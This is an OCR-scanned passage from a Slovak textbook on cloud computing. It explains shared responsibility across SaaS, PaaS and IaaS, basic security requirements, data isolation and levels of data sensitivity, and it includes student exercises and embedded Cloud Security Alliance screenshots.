Zavislost na poskytovatelovi sluzieb znizuje moznost rozhodovania o pouzivanom
softvéri, verejne dostupné aplikacie casto nemajti pozadovany rozsah funkcii (st sité
na mieru poziadaviek vacsiny), mozu byt menej stabilné a ich pouzivanie sa moze
vymykat pravnemu ramcu krajiny, v ktorej je sluzba odoberana.

Moznymi negativami st:

neschopnost opustit Cloud sluzbu (vendor lock-in),

znizena bezpecnost, moznost zneuzitia informacii,

zavislost na internete (priepustnost a dostupnost pripojenia),

zmena navykov pri pouzivani,

potreba prejst na nové riesenia moze vygenerovat vysoké naklady na ttto
zmenu,

e cena dlhodobého alebo masivneho pouZivania Cloud sluzieb mdze byt vysoka.

Cloud prinasa mnozstvo moznosti pre rozsirenie a vedenie biznisu. Umoznuje
uvolnenie zdrojov firiem z IT a ich preorientovanie na riadenie biznisu. Cloud vSak
nie st len moznosti a zlepsenia a vyhody pre firmu. Kedze celé prostredie je
virtualne a uloZené na informacno-komunikacnych technoldgiach, musime vnimat
aj dalSie vlastnosti Cloudu, ktoré mozu pre nas byt ¢iastocne na prvy pohlad skryté.
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Asi najviac diskutovana je oblast bezpecnosti Cloud sluzieb, ktorej budeme venovat
pozornost neskor.

Zodpovednost za prevadzkovanie Cloudu

Cloudové systémy ponuikaju moZnosti nielen pre naplnenie jednoduchych cielov
klientov (odoberatelov Cloud sluzieb), ako je napr. vytvorenie prostredia na
ukladanie dat a vypoctovy vykon. V Cloude st k dispozicii aj sluzby pre vykonanie
zlozitejSich vypoctovych uloh, ktoré mozu vyuzivat jednotlivci aj firmy a rdzne
spolocnosti.

Firmy si napr. vedu v aplikaciach v Cloude:

e uctovnictvo, mzdy a personalistiku,

e kompletnu kancelariu - Office application,

e aplikacie podporujtice riadenie vztahu so zakaznikom alebo jeho obsluhu -
Customer Relationship Management,

e aplikdcie podporujuce riadenie podnikovych zdrojov, vnuatropodnikovy
informaény systém na spravu a koordinaciu firemnych zdrojov, pracovisk
a biznis sféry podniku - Enterprise Resource Planning.

(\7)} Najdi Sirsiu definiciu a charakteristiku pojmov:

o Office application
o Customer Relationship Management
o Enterprise Resource Planning

(\?)_} Uved'te priklady aplikicii, ktoré sa prevadzkujii ako Cloud sluzba typu SaaS (definicia
SaaS —vid’ kapitola 2.).

Moznosti Cloud sluzieb st Siroké, niekedy postaCuje zaregistrovat sa, a tym sa
otvori moznost ziskat pristup k inovativnym a pokrocilym technologiam, ako je
napriklad umeld inteligencia (Artificial Intelligence & - zbieranie, spracovanie
a vytazovanie dat v obrovskych mnozstvach o ¢omkolvek, nielen o firemnych
klientoch. Cloud prindsa moznost testovat a realne vyuzivat zdroje pre masivne
vypocty, simuldcie na kvantovych pocitacoch a mnoho dalsich.

(\D} Ndjdite priklady Cloud sluZieb, ktoré patria do oblasti umelej inteligencie. Uved'te
priklady moznosti ich vyuZitia.

Ako vsetko na svete, aj Cloud modze mat negativne stranky a dopady, pokial st
sluzby vyuZzivané nespravne alebo nezodpovedne. Pre spravne a zodpovedné
vyuzitie Cloud sluzieb je nutné pochopit, aké stavebné prvky Cloud sluzby
vyuzivaju alebo z akych sa stavaju, sposob ich zodpovedného pouzitia alebo
nastavenia. V ekosystéme Cloudu totiz plati, Ze kazdy jeho ticastnik ma svoju mieru
zodpovednosti a jej uplatnenie md svoje hranice. Takze skor ako sa prepracujete
k vyuzitiu vyssie spomenutych moznosti Cloudu, je nutné pochopit zaklad, t.j. o st
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zakladné stavebné kamene, z ktorych je vystavany Cloud a hranice zodpovednosti
za ich vyuzitie.
Vsetky tri servisné modely, ktoré boli uvedené v predchddzajacich kapitolach —

SaaS, PaaS, laaS — vzdy zahfnajiu minimalne dve tucastnicke strany: spotrebitel
Cloud sluzby a poskytovatel Cloud sluzby.

Kazda strana vztahu nesie ista mieru zodpovednosti za

e dostupnost,
e prevadzku,
® bezpecnost pouzitia,

takto poskytovanych alebo konzumovanych Cloud sluzieb.

Hovorime o tzv. zdielanej zodpovednosti (shared responsibility), ktorej hranica —
hranica zodpovednosti - sa postiva smerom k jednej alebo druhej ticastnickej strane
v zavislosti od typu servisného modelu.

Vyznamnym hracom v oblasti zdielanej zodpovednosti je oblast bezpecnosti, ku
ktorej sa eSte vratime v nasledujucich castiach, rovnako ako k definicii hranice
zodpovednosti (vid zelent1 liniu na obrazkuy).

On-Premises Infrastructure Platform Software
{as a Service) (as a Service) (as a Service)

—
m Applcutions
m

Middleware idc -4 Middle re

You mfnage
|
safievely 1310

Virtualization WVirtualization — Virtualization

m SRV SERTEES
: ek ==eE

Networking Networking Networking

Obr.: — Hranice zodpovednosti (zdroj NIST[4])
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Nasledujtca tabulka je prehladnym zhrnutim rozdelenia zodpovednosti medzi
spotrebitelom a poskytovatelom sluzieb v Cloud-e z pohladu poskytovania
a konzumadcie (vyuzivania) sluzieb dostupnych v jednotlivych servisnych modeloch.

Servisny | Spotrebitel Poskytovatel

model

SaaS Pouziva aplikaciu/ Instaluje, spravuje, udrziava a podporuje
servis na prevadzku softvérové aplikacie v cloud
biznis procesu. infraStruktare.

PaaS Vyvija, testuje, Poskytuje a spravuje cloud infrastrukttiru
nasadzuje a spravuje a middleware
aplikdcie hostovane pre odberatelov platformy; poskytuje
v cloud systéme. nastroje na vyvoj, nasadenie

a spravovanie pre konzumentov
platformy.

IaaS Vytvara/instaluje, Poskytuje a spravuje fyzickt prevadzku,
spravuje a monitoruje | ulozisko, siete, a hostovanie prostredia
sluzby prevadzky IT a cloud infrastruktary pre IaaS
infrastruktary. konzumentov.

Cloud a bezpecnost

CLOUD 101 CIRCLE EVENTS BLOG  SIGNIN ORSIGN UP

Research v n

CSA Membership v STAR Program v  Certificates & Training v

Conquer Cloud Security

A comprehensive guide to securing your
cloud for cloud-newbies.

As more companies are migrating to the cloud, the importance of security must remain at the

forefront. Regardless of company size, the topic of cloud is necessary. However, a successful
cloud adoption process requires you to be up-to-date on modern-day mitigation against evolving
cyberattacks. Conquer cloud security with CSA, and help your organization to reach its digital

Obr.: Welcome to the Cloud Security Alliance®

V Kapitole “Zodpovednost za prevadzkovanie Cloudu” bolo uvedené, ze Cloud
sluzby maji minimalne dve ticastnicke strany (dvoch participantov) — poskytovatela
a odberatela (resp. spotrebitela alebo aj najomnika Cloudu).

% Welcome to the Cloud Security Alliance [25.01.2024] Dostupné online: https://
cloudsecurityalliance.org/
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Anglicky st zauzivané aj pojmy Cloud Provider a Cloud Tenant. Rovnako bolo
uvedené, Ze obe tieto strany sa podielaji, okrem iného, aj na zodpovednosti za
bezpecnost vyuzitia Cloud sluzieb. Toto rozdelenie nazyvame: zdielana
zodpovednost' za bezpecnost - shared responsibility.

V kapitole “Stavebné prvky Cloudu” je uvedena informacia o servisnych modeloch
Cloud sluzieb, ktoré Cloud prostredie poskytuje a ktoré modze odberatel, resp.
spotrebitel vyuzit v stilade so svojimi potrebami.

Napriklad:

o odberatel potrebuje vyuzit len infrastruktdrne sluzby, tj. pamétovy
a procesorovy vykon, alebo tloZzisko,

e odberatel potrebuje vyuzit skor komplexnejsie sluzby, tj. ucelené hotové
aplikacie.

Kazdy servisny model je postaveny priblizne na rovnakych technologickych alebo
hardvérovych prvkoch, avsak z pohladu prevadzky a sposobu vyuzitia sluzieb
v jednotlivych servisnych modeloch existuje uz spominand hranica medzi
zavéazkami a povinnostami ticastnickych stran.

V zavislosti od vybraného servisného modelu (laaS, PaaS, SaaS), to znamena
v zavislosti od typu zapojenych sluzieb, Ze sa postiva hranica zodpovednosti za
vyuzitie sluzieb, ich nastavovanie, ale aj iniciovanie bezpecnostnych funkcii bud
smerom k odberatelovi Cloud sluzby (ten kto sluzbu cerpd je zodpovedny za jej
bezpeéné nastavenie), alebo smerom k poskytovatelovi (zodpovedny je
poskytovatel). [Pozri aj zelenti liniu na obr. Hranice zodpovednosti.] Rozsah
zodpovednosti tcastnickych stran pre jednotlivé servisné modely Cloud sluzieb na
obrazku je definovany farbami a zelenou liniou.
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Rozdelenie zodpovednosti

CSA Membership v STAR Program v  Certificates & Training v  Research v n

Shared Responsibility Model
Explained

Home > Industry Insights > Shared Responsibility Model Explained @ O 0
Cloud Assurance

By CloudPassage
Related Resources

Cloud service providers adhere to a shared security responsibility model, which means your security
team maintains some responsibilities for security as you move applications, data, containers, and
workloads to the cloud, while the provider takes some responsibility, but not all. Defining the line
between your responsibilities and those of your providers is imperative for reducing the risk of
introducing vulnerabilities into your public, hybrid, and multi-cloud environments.

STAR

The industry's standard for
security assurance in the
cloud.
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Service Tvpe R e

Obr.: Shared Responsibility Model Explained™

Poskytovatel je zodpovedny za bezpecnost pontkanych sluzieb a za
poskytovanie bezpecnostnych funkcii, umoziujacich nasadenie alebo
implementaciu bezpecnostnych opatreni odberatel'ovi Cloud sluzieb, napr.

o fyzicka bezpecnost datového centra (DC),

e riadenie a kontrola pristupu fyzickych oséb do DC,

e vyber, spolahlivost a odborna sposobilost zamestnancov obsluhujtcich celé
infrastruktirne, technologické a aplikacné prostredie,

e poskytovanie infrastruktiry, technoldgii a aplikdcii v stlade s poskytovatefom
deklarovanymi bezpe¢nostnymi Standardmi,

e poskytovanie bezpecnostnych softvérovych funkcii,

e monitoring a nastroje

° na zabezpecenie nepretrzitého chodu sluzieb,
° na ochranu pred bezpecnostnymi titokmi a incidentami,

e schopnost bez zdrzania (angl. without due delay) reagovat na nestandardné
udalosti a zabezpecit ich sanaciu,

e prevenciu a profylaktiku (Cistenie, preventivna udrzba pocitacov od prachu
a necistot) v oblastiach Standardnej prevadzky, ale aj v oblasti bezpecnosti.

®  Shared Responsibility Model Explained [25.01.2024] Dostupné online: https://
cloudsecurityalliance.org/blog/2020/08/26/shared-responsibility-model-explained/
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Odberatel je zodpovedny za bezpecny sposob pouzivania odoberanych sluzieb,
napr.

e implementovat dostupné bezpecnostné funkcie (zapnut Sifrovanie),

e dodrziavat bezpecnostné pravidla doporucené poskytovatefom pre odberatela
(zvolit silné heslo, vyuzif viacfaktorovu autentifikaciu, neprezradzat heslo...),
riadit pristup pouzivatelov ku cloudovej sluzbe,

pouzivat sluzbu v stilade s ticelom,

zabezpecit a overit kvalitu a bezpecnost vlastnymi silami vytvoreného SW
nasadeného a prevadzkovaného v Cloud prostredi.

(\D} Vyhladajte priklady bezpecnostnych a previdzkovyjch standardov odporvicanych alebo
zdviznych pre Cloud .

Vyssie uvedené zodpovednosti a ich implementacia a dodrziavanie je kritické najma
pre modely IaaS a PaaS.

[ V pripade prendjmu jedného virtualneho pocitaca v Cloude je bezpecnost
nastavenia a prevadzky budticeho rieSenia alebo aplikdcie v danom virtudlnom
prostredi v zodpovednosti odberatela. Pre kazdé verejne poskytované Cloud
prostredie je nutné pochopit sposob zdielania systémovych sluzieb a priestoru
v Cloude. Architektira Cloudu je Standardizovand, zlozena z typickych
technologickych a infrastruktirnych prvkov, ktoré sa opakuju v roznych Cloud
sluzbach (Standardizované sluzby nazyvame aj ,servisny katalog”). Ich
poznanie umoZznuje odberatelovi nasadit alebo iniciovat bezpecnostné prvky
pre tie casti ekosystému, za ktoré je sam zodpovedny.

Pre model SaaS, kedy odoberame celt1 hotovt sluzbu (napriklad e-mailové sluzby),
je situacia odlisna.
Pre SaaS sluzby plati, Ze moznost ovplyvnit bezpecnost sluzby pre
odberatela je velmi mala, alebo Ziadna.

Aj v pripade SaaS by mali mat Cloud sluzby prevadzkové a bezpecnostné opatrenia
nastavené v sulade s bezpecnostnymi poziadavkami a standardami. Prax ukazuje,
Ze to nie je vzdy tak.

(\@_} V nadviznosti na cvicenie “vyhladajte cloudové sluzby”, dopliite k nim informdcie, aké
bezpecnostné poziadavky a Standardy ndjdené sluzby plnia.

V suilade s definiciou hranice zodpovednosti je

e za prevadzku, riadenie a pouZzivanie Cloud sluzby typu SaaS,
e za poskytovanie funkénej aplikacie, jej bezpecnosti,
e za implementaciu bezpecnostnych opatreni v SaaS

prevazne zodpovedny poskytovatel.
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Preto je pri zamere vyuzivat aplikdcie typu SaaS pre odberatela dolezité, okrem
pozadovanej funkcionality SaaS-u, vopred posudit mieru bezpecnosti danych
sluzieb a pouzivaf ich len v pripade, ak je bezpecnostné riziko stvisiace s ich
pouzitim nizke alebo akceptovatelné.

To znamen4d, ze v zodpovednosti odberatel’a je analyza funkcnosti a bezpecnosti
Cloud sluzby, ktortt zamysla vyuzivat. Nasledne, pokial odberatel k vyuzivaniu
sluzieb pristapi, je zodpovedny aj za riadenie pristupov alebo aj prace pouzivatelov.

[ Poskytovanie tctovnictva formou SaaS - v takomto pripade ma odberatel
moznost aplikaciu v Cloude len pouzivat, a to v stulade s pravidlami
poskytovatela. Odberatel ma povinnost napriklad vytvorit si silné heslo
a nikomu ho neposkytovat. Je ¢isto na rozhodnuti odberatela, ¢i podstipi
pripadné riziko pouzivat takuto sluzbu, pretoze moézZe nastat pripad, Ze
poskytovatel nedodrzi niektoré bezpecnostné opatrenie alebo by sa ukazalo, ze
aplikacia nie je v stlade s pozadovanymi normami.

Odberatel Cloud sluzby vo vseobecnosti musi pocitat s tym, Ze poskytovatel
predava, a teda poskytuje rovnaky systém, aplikaciu alebo sluzbu viacnasobne, tj.
viacerym odberatefom. Je potrebné mat na pamaéti, zZe priestor, ktory vyuziva
odberatel je prevadzkovany vo velkom, a zaroven zdie[anom bludisku informacno-
komunikacnych technoldgii.

Tym, Ze sa odberatel rozhodne pouzivat Cloud sluzbu v zdielanom prostredi, sa
zaroven spolieha na spravnost, resp. korektnost vyuzivania zdielaného priestoru
vSetkymi tcastnikmi ekosystému. Pretoze klient/odberatel sluzby nevie uplne
overit funkénost a bezpecnost tohto priestoru, je velmi dolezité nielen dodrziavanie
pravidiel, ale aj kontrola ich dodrZiavania.

Vyuzivanie Cloudu ma mnohé vyhody, ale prinasa aj zodpovednosti. Miera
zodpovednosti sa postiva medzi prevadzkovatelom Cloudu a odberatelom
v zavislosti od servisného modelu Cloudu. V zasade plati, Ze ¢im vacsiu volnost
vyzadujeme od prevadzkovatela, tym vécSia miera zodpovednosti je na strane
odberatela Cloud sluzby.

Bezpecnost v Cloude je mozné nastavit. A to je povinnost oboch tcéastnickych stran
v Cloud ekosystéme.
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PoZiadavky na bezpecnost Cloud sluZieb
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Obr.: Cloud Security Alliance®

Uz v predchadzajacich kapitolach bolo v stvislosti s vyuzivanim Cloudu viackrat
spomenuté, ze bezpecnost je neoddelitelnou sticastou cloudu.

V suvislosti s oblastou bezpecnosti v Cloude je potrebné uvedomit si, ¢o je nasim
cielom, preco stojime pred rozhodnutim pouzivat, resp. nepouzivat konkrétnu
Cloud sluzbu, a aky je tcel jej vyuZzivania.

NajcastejSou motivaciou vyuzivat Cloud sluzby je predpoklad ich nizkej
obstaravacej ceny.

Jednoznacne najvyssou hodnotou, ktorti treba mat na zreteli pri posudzovani
kvality Cloud sluzby z pohladu bezpecnosti, st informacie (data) a miera ich
citlivosti, ktora priamo definuje potrebu ich vicsej alebo mensej ochrany. Vo
vSeobecnosti plati: ,Cim st data ktoré v Cloude spracovavam citlivejie, tym je
poziadavka na ich ochranu silnejsia.”

Data ulozené alebo spracovavané v Cloude st dislokované, teda st mimo nasej
kontroly z pohladu ich fyzického umiestnenia. Ich ochrana musi byt asporn taka
dobra, ako keby boli umiestnené ,doma”, ak nie vyssia. Paradoxom a zaroven
dobrou spravou je, ze v niektorych Cloud prostrediach je skutocne mozné mat
k dispozicii také bezpeénostné funkcie, ktoré nam zabezpecia vyssiu mieru
ochrany v porovnani s domacim datovym centrom (DC).

Preco je to tak?

Najcastejsie pouzivame zdielané priestory z ekonomickych dévodov. Tu sa ukazuje
jeden z hlavnych prinosov faktoru ,zdielania”: finanéné naklady narocnych
bezpecnostnych funkcii, ktoré st ekonomicky netinosné pre jedného zakaznika, sa
rozdelia medzi tych, ktori sluzbu zdielaju. Vdaka tomu sa pre odberatelov sluzby

% Cloud Security Alliance [25.01.2024] Dostupné online https://cloudsecurityalliance.org/
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tato stane dostupnejsou a jej vyuzitim ziskajit odberatelia bezpecnostny prvok, ktory
si ,doma” dovolit nemdzu.

VsSeobecné poziadavky na bezpecnost:

1.

o

Bezpecnost' ulozenia alebo spracovania dat v Cloude musi byt porovnatel'na
alebo vyssia ako v .domacom datovom centre (anglicky: on-premise).

. Data maju byt uloZené alebo spracovavané v datovych centrach, ktorych fyzické

umiestnenie je v krajinach s dostatocnou tiroviiou ochrany.”

. Data jedného odberatela maji byt primerane oddelené (v zavislosti od ich

citlivosti), presnejsie: izolované od ostatnych odberatelov. Cielom tejto
poziadavky je zamedzif neopravnenému zdielaniu alebo mieSaniu dat roznych
zakaznikov (detaily vid' neskor v Casti: Izolacia dat v Cloude).

. Pristup k datam ma byt riadeny a kontrolovatelny. K dispozicii maju byt také

opatrenia, vdaka ktorym je mozné zabezpecit, aby sa k datam dostal len
opravneny pouzivatel, popripade len z presne urceného zariadenia (vizualizacia
vid Obr. 3 a 4 v Casti Izolacia dat v Cloude: — turnikety pre vstup do bazéna).

. Poskytovatel Cloud sluzby musi byt schopny preukazat sa vysledkami

hodnotenia bezpecnosti jeho sluzieb vykonanych tretou stranou -
akreditovanym subjektom (bezpecnostny audit, penetrac¢ny test, certifikat
o sulade s normami ako st ISO/IEC 27001 a 27018, EUMC, GDPR a pod.).

. Poskytovatel' cloudovej sluzby musi byt schopny zabezpecit sucinnost

v pripade potreby odberatela sluzbu opustit, ide najma o zabezpecenie vratenia
dat zakaznikovi/odberatelovi sluzby, korekiné vymazanie dat z prostredi Cloud
sluzby a vierohodné doloZenie skutoného stavu odstranenia dat odberatela
z tlozisk poskytovatela.

. Cloudova sluzba musi byt poskytovana v sdlade s legislativnymi

poziadavkami v relevantnych pripadoch.

. Cloudovy poskytovate]l musi poskytovat vopred definovani dostupnost

svojich Cloudovych sluzieb (napr. hodnota miery dostupnosti v percentach),
vratane zalohovania dat, pripadne dostupnost alternativnych zaloznych sluzieb
a zdrojov a musi vediet preukazat deklarované parametre, napr. historickymi
Statistickymi ukazovateImi (priklad neskdr v casti Izolacia dat v Cloude:
poskytovatel vie poskytnut dalsi bazén v aqua-parku, ak prave jeden konkrétny
nie je v prevadzke).

. Cloudovy poskytovatel musi mat schopnost zabezpecit monitorovacie

moznosti a incident manazment (vid priklad neskdr v casti Izolacia dat
v Cloude: plavcik v Aqua-parku).

Pozn.: Zoznam nie je uplny, vybraté sii najfrekventovanejsie poZiadavky. Navrhnite
dalsie poZiadavky, ktoré by ste mohli mat' na cloudového poskytovatela.

57

Prenos do krajin zarucujtcich primerand tiroveni ochrany Dostupné online; https://
dataprotection.gov.sk/uoou/sk/content/prenos-do-krajin-zarucujucich-primeranu-
uroven-ochrany [21.09.2023]
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Plnenie vyssSie uvedenych poziadaviek, samozrejme, nemusi byt 100%-né.
Nesplnené poziadavky sa nasledne pretransformujui do rizik pouzivania konkrétnej
Cloud sluzby. V niektorych pripadoch, kedy dochadza k spracovavaniu alebo
ukladaniu dat, ktorych uroven citlivosti je nizka, nie je nevyhnutné, aby dana
Cloud sluzba spitiala vietky vyssie uvedené poziadavky. Od niektorych je mozné
upustit.

[zolacia dat

Izolacia dat je poziadavka, ktora savisi s potrebou ochranit informacie tak, aby sa
k nim dostal len opravneny pouzivatel alebo “konzument”. Z uvedeného je zrejmé,
Ze prave preto su data, resp. informacie, predmetom ochrany. Data chranime,
pretoZe su pre organizaciou pokladané za citlivé, ¢i uz ide osobné data, alebo citlivé
s pohladu organizacie, napr. nové produkty organizacie, alebo vysledky Ziakov za
jednotlivé roky.

Neopravneny pristup k citlivym informaciam moze mat rozne dopady, napr.
poskodenie reputdcie, pokuta za neopravnené prezradenie, porusenie regulacie
alebo zakona a pod.

Jednou z foriem zabezpecenia poZziadavky, aby sa len opravneny subjekt dostal
k informaciam - aj to len k takym, na aké ma narok - je zabezpecenie oddelenia
tychto informacii od inych, t,j. izolacia. Napriklad v Tubovolnej “chat” aplikacii je
mozné vytvorit privatnu komunikaciu medzi dvoma ticastnikmi alebo aj skupinovi
komunikaciu v uzavretej skupine pouzivatelov, rovnako ako komunikaciu verejnu
vo verejnom komunikacnom kanali - cete.

Poziadavka na izolaciu dat nie je neznama ani pre oblast ukladania alebo
spracovania informécii v Cloude. Specidlne v pripade spracovania citlivych dét
v Cloude moze byt velmi striktna. Osobitny pristup k poziadavke na izolaciu dat je
potrebny najmé v oblasti tzv. regulovaného biznisu, akym st napriklad financné
domy.

(\D_} Otestujte moznosti izoldcie ddt v réznych “chat” aplikdcidch (napr. WhatsApp,
Messenger, Telegram, Signal a pod.) a porovnajte ich medzi sebou. Ndjdite vijhody
a nevyhody porovndvanych aplikdcii. Pokiiste sa identifikovat’ pokrocilé bezpecnostné
vlastnosti porovndavanych aplikicii a pridajte ich do porovnania (napr. pre oblast
Sifrovania).

Co je to izol4cia dat v pripade Cloudu?

Izolacia dat v pripade Cloudu je schopnost poskytovatela cloudovej sluzby
zabezpecit technologickymi alebo aplika¢nymi funkciami oddelenie dat jedného
odberatela Cloud sluzby od iného (data sa v ziadnom pripade nesmti pomiesat).

Tato poziadavku je mozné vizualizovat si napr. pomocou plaveckého bazéna.
Vyuzijeme priblizenie pomocou klasickych plaveckych drah a plaveckych drah,
ktoré majui, do istej miery na tento ticel prehnané, tipIné rozdelenie, vid Obr. 3 a 4.
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Obr. 3 Plavecké drdahy s nepriepustnymi mantinelmi, ktoré zacinajii nad hladinou
a siahajii az po dno, a ktoré zabezpecia, Ze plavci sii striktne oddeleni

Obr. 4 Standardné plavecké drdhy, ktoré nedokdzu tiplne zabezpeCit, Ze budii plavci
oddelent

Kym plavci na obr. 3 st vdaka prehnanym mantinelom oddeleni tak, ze prejst do
drahy suseda moZzu len fazko a za vynaloZenia relativne velkého usilia, ti, ktori st
oddeleni len standardnym spdsobom (obr. 4), to az také tazké mat nebudu.

V jazyku IT sveta: je potrebné vybrat (alebo mat k dispozicii) také technologické
alebo aplikacné prostriedky, aby bolo mozné zaistit dostato¢ne spolahlivé oddelenie
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dat. Vyber takéhoto prostriedku je ovplyvneny droviiou citlivosti dat, ktoré
potrebujeme spracovavat alebo ukladat v Cloude. Cim citlivejsie data, tym
striktnejsia technika alebo technoldgia ma byt pouzita na izolaciu dat. Zaroven plati,
ze ¢im strikinejSie je oddelenie (izolacia), tym vyssie s naklady za cloudové
technoldgie.

Je dolezité vediet, ako st data ulozené a spracovavané v Cloude. Je potrebné mat
neustale na pamati, Ze Cloud moze byt dobry sluha za predpokladu dodrzania
urcenych pravidiel. Cloud je plny uzito¢nych prilezitosti a nastrojov, ktoré mozu
napriklad pomoct rychlejsie rozbehnut firemny biznis za primerané alebo nizke
naklady. Neustdle je vSak potrebné pamatat si, Ze systém je zaloZeny na principe
akvizicie (zlucenia) velkého poctu odberatelov a zdielania techniky, technoldgii,
priestoru a nakladov. Na to, aby sme si to mohli lepSie predstavit, nam posltizia uz
spominané dva priklady:

o Uplne oddelené drahy povedzme stitazného bazéna, pri ktorom sa predpoklada
organizované pouzitie na baze pravidiel, ale v ktorom je kazdy sam za seba, vo
svojej drahe, tj. vo svojom prostredi, v ktorom moéze robit, ¢o chce, resp. ¢o
potrebuje, a to s minimalnym alebo zZiadnym dopadom na zvysnt cast bazéna,

e plavecké drahy bezného plaveckého bazéna, kde svojvolna ¢innost Sportovca
pocitia aj v inej drahe.

Uvedené principy mna jednej strane pomahaji udrziavat bezpecnost
a spolahlivii prevadzku v Cloude na pozadovanej urovni kvality sluzieb, avSak na
strane druhej mo6zu byt zdrojom rizik. Rizikdm v stvislosti s Cloudom je urcena
dalsia kapitola

Rizika Cloud-u a ich riadenie

V predchadzajtcich kapitoldch sme hovorili o tom, Ze faktor zdielania zdrojov
poskytovanych a vyuzivanych vo forme Cloud sluzieb mo6ze mat ekonomicky
prinos (Economy of the Scale), zaroven vSak prinasa zdielanie zodpovednosti za
spravne a bezpecné pouzivanie Cloud sluzieb. Nielen poskytovatel Cloud sluzby je
zodpovedny za jej bezpecné prevadzkovanie, ale aj odberatel] ma povinnost
dodrziavat isté pravidla bezpecného spravania sa v cloudovom prostredi.
Nevhodné alebo nezodpovedné pouzivanie cloudovych zdrojov a sluzieb mo6ze mat
dopad na bezpecnost ¢i uz pouzivania cloudovych sluzieb, alebo spracovania
citlivych dat v cloudovom prostredi. Rovnako, ako nezodpovedné spravanie sa
v zZivote, aj nezodpovedné spravanie sa v cloudovom prostredi nds vystavuje riziku.
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Prvym predpokladom, Ze Cloud sluzba ma len nizke riziko svojho pouzitia, je, Ze
dan4 sluzba spiiia zékladné bezpeénostné poziadavky, napriklad:

e miesto uloZenia a spracovania dat je len v dohodnutych datovych centrach alebo
lokalitach (napr. v rdmci Eurépskej tinie),

e je nasadené vhodné a dostatocné oddelenie (segregacia) dat rdznych
odberatelov cloud sluzieb,

e cloud umoznuje kontrolovatelny a neobmedzeny pristup
k vypublikovanym datam a sluzbam,

e vlastnosti cloud sluzieb preukazuja sulad s poziadavkami legislativy
a regulatorov, ak je takyto sulad pozadovany,

e cloudova sluzba ma schopnost zabezpecit dostupnost, integritu a dovernost dat,
napriklad vyuzitim technik

o Sifrovania (zamedzenia Citatelnosti dat pre toho, kto nema pristup
k Sifrovaciemu kltcu),

o riadenia pristupu k dadtam (len opradvneny pouzivatel uvidi data, aj to len tie,
na ktoré ma povolenie),

o auditovania (ziskavanie zdznamov o tom, ¢o sa s datami stalo — stopovanie/
trekovanie),

% Top 10 Cloud Security Risks & Solution in 2023 & How to Tackle Them [25.01.2024]
Dostupné online: https://appinventiv.com/blog/cloud-security-risks-and-solutions/
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> redundancie (vytvaranie tienovych sluzieb, ktoré st schopné prevziat tilohu
primarnej sluzby, ak tato z akychkolvek dovodov vypadne alebo sa stane
nedostupnouy),

e cloudova sluzba ma schopnost manazovat a monitorovat sluzby aplikacii
v cloude s cielom predchadzat neZelanym vypadkom alebo r6znym
prevadzkovym a bezpecnostnym incidentom.

V idedlnom pripade cloudova sluzba spitia vietky alebo vacinu vyssie
spomenutych bodov technicky aj zmluvne, a zaroveni ma zakaznik moznost to aj
skontrolovat. V skutocnosti ale nie vzdy je mozné jednoducho splnit vSetky body.
Niektoré mozu byt extrémne nakladné alebo pre dant sluzbu nedostupné. Potom
ma zakaznik/odberatel dve moznosti, bud od zmluvy odstupit, alebo najst
nahradné riesenie, resp. int cestu. Alternativnou moznostou, ako sa vysporiadat
s nesplnenim vyssie uvedenych poziadaviek, pokial st z roznych dévodov povinné,
je transformovat ich do riadenia rizik pouzivania konkrétnej cloudovej sluzby.
Avsak, v niektorych pripadoch, kedy dochadza k spracovavaniu alebo ukladaniu
dat s nizkou troviiou citlivosti v cloude, nie je nevyhnutné, aby dana cloud sluzba
vietky vyssie uvedené poziadavky spitiala.

Najma pri spracovavani citlivejsich informacii vsak nie je mozné od niektorych
poziadaviek upustit. Co sa ale stane, ak pozadované bezpe¢nostné funkcie aplikacia
alebo sluzba v cloude nem4, ani nie je mozné ich na poziadanie doplnit, a zaroven
nie je mozné konkrétnu cloudovu sluzbu nepouzivat? V tomto pripade je potrebné
riziko takéhoto - nie tiplne bezpecného - pouzitia cloudovej sluzby identifikovat
a zhodnotit jeho mozny dopad na organizaciu pre pripad, ak by sa riziko zhodou
okolnosti materializovalo, t;j. stalo sa redlnym (velmi podobne, ako pri vybere
stravovacieho zariadenia, hodnotime, aka je jeho troven a kvalita, pretoze sa
nechceme jedlom priotravit, resp. ak nam lekar prikaze dodrziavat diétu, hladame
stravovacie zariadenie, ktoré tieto poziadavky spliia).

Tym, ako identifikovat hrozbu, nasledne rozpoznat riziko, ktoré z hrozby vyplyva,
vyhodnotit pravdepodobnost toho, Ze sa hrozba naplni a riziko sa pretavi do
urcitého dopadu sa, zaobera metodika riadenia rizik. Ciefom tejto kapitoly nie je
zahlbit sa do metodiky samotnej, ale poukézat na niektoré najcastejsie sa
vyskytujice rizikd pouzivania Cloud sluzieb a zhodnotit moznosti minimalizacie
dopadov tychto rizik (zmiernenie rizika - z angl. risk mitigation).

Pre potreby pochopenia moznej rizikovosti pouZivania cloud sluzieb je nutné
spomenut niekolko doélezitych pojmov, bez ktorych sa pri identifikacii rizik a ich
moznych dopadov nezaobide:

Citlivost dat

Déta — v zavislosti od ich povahy alebo obsahu — maji roznu uroven citlivosti.

Niektoré st verejne pristupné, iné st predmetom tajomstva. Pozndme niekolko
urovni citlivosti dat:
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e verejné — data, ktoré nie su citlivé, kazdy moze mat k nim pristup,

e interné - data, ktoré su dostupné uzavretej spolocnosti alebo skupine, napr.
vnutro-firemné informacie, ktoré st dostupné vsetkym zamestnancom, avsak na
verejnost nepatria,

e citlivé — data, ktoré si predmetom ochrany, vaésinou st k dispozicii len
definovanym opravnenym osobam a ich prezradenie moze spdsobit napriklad
prezradenie obchodného tajomstva, poskodenie dobrého mena alebo sa moze
jednat o udaje, ktoré si predmetom ochrany zo zakona, ako napriklad zakon
o ochrane osobnych tidajov (zakon ¢. 18/2018 Z. z. o osobnych udajoch) alebo
obchodny zakonnik a pod.,

e velmi citlivé — data, ktoré si1 predmetom utajenia ¢i uz z legislativnych, alebo aj
inych dovodov, mozu mat strategicky vyznam pre spolocnost, organizaciu
alebo zaujmovu skupinu. Ich prezradenie moze spdsobit zavazné dopady na
ludi, zdravie alebo majetok.

(\D} Pripravte prezentdciu, ktord vysvetli tirovne citlivosti v Traffic Light Protocol (TLP).

Pri identifikacii rizik je prvoradé pochopit, s akymi datami pracujeme, tj. data ktorej
trovne citlivosti sa v Cloud sluzbe alebo aplikécii majt spractvat. Uroveti citlivosti
dat definuje rozsah a mieru ochrannych a bezpec¢nostnych opatreni, ktoré ma mat
Cloud sluzba, pomocou ktorej chceme déta spracovavat alebo v ktorej chceme data
ukladat.

Skor, ako sa rozhodneme vyzivat konkrétnu Cloud sluzbu, je do6lezité postudit nielen
